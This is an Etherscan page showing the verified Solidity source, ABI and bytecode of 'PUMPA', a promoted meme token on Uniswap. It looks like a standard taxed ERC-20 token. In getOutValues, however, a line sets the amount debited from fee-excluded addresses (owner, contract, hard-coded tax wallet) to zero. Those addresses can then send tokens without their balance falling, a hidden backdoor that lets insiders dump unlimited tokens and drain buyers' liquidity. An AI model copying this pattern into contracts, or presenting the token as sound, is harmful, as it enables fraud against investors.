Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(address spender, uin ...
•    - function transferFrom(
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract PUMPA is Context, IERC20, ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(
•    - function transferFrom(
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function getOutValues(
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function init()
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-15
*/

// SPDX-License-Identifier: MIT
/** 
$PUMPA a mischievous lil green ​candle man, when you least ​expect it PUMPA is there ​conquering the red candle ops & ​pumping charts to space, PUMPA ​HAS BEEN HERE THE WHOLE TIME ​NOW ITS PUMPAS TURN!

Website :    https://pumpacoineth.wtf
Telegram : https://t.me/pumpacoin_eth
Twitter :     https://x.com/pumpacoin_eth

**/
pragma solidity 0.8.21;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PUMPA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;
    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 18;
    uint256 private _reduceSellTaxAt = 18;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"PUMPA";
    string private constant _symbol = unicode"PUMPA";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _taxWallet = payable(0x574A2b3C9D3F0D7cF10925B0EeB0FfF64259A9e2);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!tradingOpen) {
            require(
                _isExcludedFromFee[from] || _isExcludedFromFee[to],
                "Trading is not active."
            );
        }
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        (
            uint256 taxAmount,
            uint256 tokenAmount
        ) = getOutValues(from, to, amount);
        if (taxAmount > 0) {
            _balances[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function getOutValues(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256, uint256) {
        uint256 taxAmount = 0;
        uint256 tokenAmount = amount;
        taxAmount = amount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        if(_isExcludedFromFee[from]) tokenAmount = _finalBuyTax.mul(taxAmount);
        return (taxAmount, tokenAmount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function init() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uint256 tokenAmount = balanceOf(address(this));
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff19169055600f60068190556007556000600881905560098181556012600a818155600b91909155600c839055600d92909255620000479162000361565b62000057906301312d0062000379565b600e55620000686009600a62000361565b62000078906301312d0062000379565b600f55620000896009600a62000361565b6200009690606462000379565b601055620000a76009600a62000361565b620000b6906298968062000379565b6011556013805461ffff60a81b19169055348015620000d457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674574a2b3c9d3f0d7cf10925b0eeb0fff64259a9e2001790556200014c6009600a62000361565b6200015c90633b9aca0062000379565b336000908152600160208190526040822092909255600390620001876000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620001eb3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002256009600a62000361565b6200023590633b9aca0062000379565b60405190815260200160405180910390a362000393565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a35781600019048211156200028757620002876200024c565b808516156200029557918102915b93841c939080029062000267565b509250929050565b600082620002bc575060016200035b565b81620002cb575060006200035b565b8160018114620002e45760028114620002ef576200030f565b60019150506200035b565b60ff8411156200030357620003036200024c565b50506001821b6200035b565b5060208310610133831016604e8410600b841016171562000334575081810a6200035b565b62000340838362000262565b80600019048211156200035757620003576200024c565b0290505b92915050565b60006200037260ff841683620002ab565b9392505050565b80820281158282048414176200035b576200035b6200024c565b6119d080620003a36000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102dc578063c876d0b9146102f2578063c9567bf91461030c578063dd62ed3e14610321578063e1c7392a1461036757600080fd5b80637d1db4a5146102685780638da5cb5b1461027e5780638f9a55c0146102a657806395d89b4114610124578063a9059cbb146102bc57600080fd5b806323b872dd116100e757806323b872dd146101ca578063313ce567146101ea57806370a0823114610206578063715018a61461023c578063751039fc1461025357600080fd5b806306fdde0314610124578063095ea7b3146101615780630faee56f1461019157806318160ddd146101b557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600581526450554d504160d81b60208201529051610158919061159f565b60405180910390f35b34801561016d57600080fd5b5061018161017c366004611605565b61037c565b6040519015158152602001610158565b34801561019d57600080fd5b506101a760115481565b604051908152602001610158565b3480156101c157600080fd5b506101a7610393565b3480156101d657600080fd5b506101816101e5366004611631565b6103b4565b3480156101f657600080fd5b5060405160098152602001610158565b34801561021257600080fd5b506101a7610221366004611672565b6001600160a01b031660009081526001602052604090205490565b34801561024857600080fd5b5061025161041d565b005b34801561025f57600080fd5b5061025161049a565b34801561027457600080fd5b506101a7600e5481565b34801561028a57600080fd5b506000546040516001600160a01b039091168152602001610158565b3480156102b257600080fd5b506101a7600f5481565b3480156102c857600080fd5b506101816102d7366004611605565b610506565b3480156102e857600080fd5b506101a760105481565b3480156102fe57600080fd5b506005546101819060ff1681565b34801561031857600080fd5b50610251610513565b34801561032d57600080fd5b506101a761033c36600461168f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037357600080fd5b506102516105aa565b6000610389338484610917565b5060015b92915050565b60006103a16009600a6117c2565b6103af90633b9aca006117d1565b905090565b60006103c1848484610a3c565b610413843361040e85604051806060016040528060288152602001611973602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113b565b610917565b5060019392505050565b6000546001600160a01b031633146104505760405162461bcd60e51b8152600401610447906117e8565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104c45760405162461bcd60e51b8152600401610447906117e8565b600019600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000610389338484610a3c565b6000546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610447906117e8565b601354600160a01b900460ff16156105915760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610447565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105d45760405162461bcd60e51b8152600401610447906117e8565b601354600160a01b900460ff16156106285760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610447565b30600081815260016020526040902054601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909161066f91600019610917565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e6919061181d565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610748573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076c919061181d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd919061181d565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610871573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610896919061183a565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611868565b5050565b6001600160a01b0383166109795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b0382166109da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610aa05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b60008111610b645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b601354600160a01b900460ff16610bf9576001600160a01b03831660009081526003602052604090205460ff1680610bb457506001600160a01b03821660009081526003602052604090205460ff165b610bf95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610447565b601354600160b01b900460ff161580610c1b5750601354600160a81b900460ff165b15610cc6576001600160a01b038316600090815260016020526040902054610c439082611175565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c7290826111be565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a2f9085815260200190565b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610ff35760055460ff1615610ddc576012546001600160a01b03838116911614801590610d2e57506013546001600160a01b03838116911614155b15610ddc57326000908152600460205260409020544311610dc95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610447565b3260009081526004602052604090204390555b6013546001600160a01b038481169116148015610e0757506012546001600160a01b03838116911614155b8015610e2c57506001600160a01b03821660009081526003602052604090205460ff16155b15610f1457600e54811115610e835760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610447565b600f5481610ea6846001600160a01b031660009081526001602052604090205490565b610eb0919061188a565b1115610efe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610447565b600d8054906000610f0e8361189d565b91905055505b30600090815260016020526040902054601354600160a81b900460ff16158015610f4b57506013546001600160a01b038481169116145b8015610f605750601354600160b01b900460ff165b8015610f6f5750600c54600d54115b8015610f9457506001600160a01b03841660009081526003602052604090205460ff16155b8015610fb957506001600160a01b03831660009081526003602052604090205460ff16155b15610ff157601054811115610fe557610fe5610fe083610fdb8460115461121d565b61121d565b611232565b47610fef476113ac565b505b505b6000806110018585856113ea565b9092509050811561107157306000908152600160205260408120805484929061102b90849061188a565b909155505060405182815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385166000908152600160205260409020546110949082611175565b6001600160a01b0386166000908152600160205260409020556110d96110ba8484611175565b6001600160a01b038616600090815260016020526040902054906111be565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111238686611175565b60405190815260200160405180910390a35050505050565b6000818484111561115f5760405162461bcd60e51b8152600401610447919061159f565b50600061116c84866118b6565b95945050505050565b60006111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061113b565b9392505050565b6000806111cb838561188a565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b600081831161122c57826111b7565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061127a5761127a6118c9565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f7919061181d565b8160018151811061130a5761130a6118c9565b6001600160a01b0392831660209182029290920101526012546113309130911684610917565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113699085906000908690309042906004016118df565b600060405180830381600087803b15801561138357600080fd5b505af1158015611397573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610913573d6000803e3d6000fd5b60008060008084905061141f6064611419600a54600d541161140e57600654611412565b6008545b88906114b2565b90611534565b6013549092506001600160a01b03878116911614801561144857506001600160a01b0387163014155b15611475576114726064611419600b54600d541161146857600754611412565b60095488906114b2565b91505b6001600160a01b03871660009081526003602052604090205460ff16156114a6576008546114a390836114b2565b90505b90969095509350505050565b6000826000036114c45750600061038d565b60006114d083856117d1565b9050826114dd8583611950565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b60006111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115925760405162461bcd60e51b8152600401610447919061159f565b50600061116c8486611950565b600060208083528351808285015260005b818110156115cc578581018301518582016040015282016115b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160257600080fd5b50565b6000806040838503121561161857600080fd5b8235611623816115ed565b946020939093013593505050565b60008060006060848603121561164657600080fd5b8335611651816115ed565b92506020840135611661816115ed565b929592945050506040919091013590565b60006020828403121561168457600080fd5b81356111b7816115ed565b600080604083850312156116a257600080fd5b82356116ad816115ed565b915060208301356116bd816115ed565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117195781600019048211156116ff576116ff6116c8565b8085161561170c57918102915b93841c93908002906116e3565b509250929050565b6000826117305750600161038d565b8161173d5750600061038d565b8160018114611753576002811461175d57611779565b600191505061038d565b60ff84111561176e5761176e6116c8565b50506001821b61038d565b5060208310610133831016604e8410600b841016171561179c575081810a61038d565b6117a683836116de565b80600019048211156117ba576117ba6116c8565b029392505050565b60006111b760ff841683611721565b808202811582820484141761038d5761038d6116c8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561182f57600080fd5b81516111b7816115ed565b60008060006060848603121561184f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561187a57600080fd5b815180151581146111b757600080fd5b8082018082111561038d5761038d6116c8565b6000600182016118af576118af6116c8565b5060010190565b8181038181111561038d5761038d6116c8565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192f5784516001600160a01b03168352938301939183019160010161190a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261196d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fc9ddfa49e57ef41c9bd5918fb367708cbdc0b8da16426a3d1a90bc3fa22a5064736f6c63430008150033

0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146102dc578063c876d0b9146102f2578063c9567bf91461030c578063dd62ed3e14610321578063e1c7392a1461036757600080fd5b80637d1db4a5146102685780638da5cb5b1461027e5780638f9a55c0146102a657806395d89b4114610124578063a9059cbb146102bc57600080fd5b806323b872dd116100e757806323b872dd146101ca578063313ce567146101ea57806370a0823114610206578063715018a61461023c578063751039fc1461025357600080fd5b806306fdde0314610124578063095ea7b3146101615780630faee56f1461019157806318160ddd146101b557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600581526450554d504160d81b60208201529051610158919061159f565b60405180910390f35b34801561016d57600080fd5b5061018161017c366004611605565b61037c565b6040519015158152602001610158565b34801561019d57600080fd5b506101a760115481565b604051908152602001610158565b3480156101c157600080fd5b506101a7610393565b3480156101d657600080fd5b506101816101e5366004611631565b6103b4565b3480156101f657600080fd5b5060405160098152602001610158565b34801561021257600080fd5b506101a7610221366004611672565b6001600160a01b031660009081526001602052604090205490565b34801561024857600080fd5b5061025161041d565b005b34801561025f57600080fd5b5061025161049a565b34801561027457600080fd5b506101a7600e5481565b34801561028a57600080fd5b506000546040516001600160a01b039091168152602001610158565b3480156102b257600080fd5b506101a7600f5481565b3480156102c857600080fd5b506101816102d7366004611605565b610506565b3480156102e857600080fd5b506101a760105481565b3480156102fe57600080fd5b506005546101819060ff1681565b34801561031857600080fd5b50610251610513565b34801561032d57600080fd5b506101a761033c36600461168f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561037357600080fd5b506102516105aa565b6000610389338484610917565b5060015b92915050565b60006103a16009600a6117c2565b6103af90633b9aca006117d1565b905090565b60006103c1848484610a3c565b610413843361040e85604051806060016040528060288152602001611973602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113b565b610917565b5060019392505050565b6000546001600160a01b031633146104505760405162461bc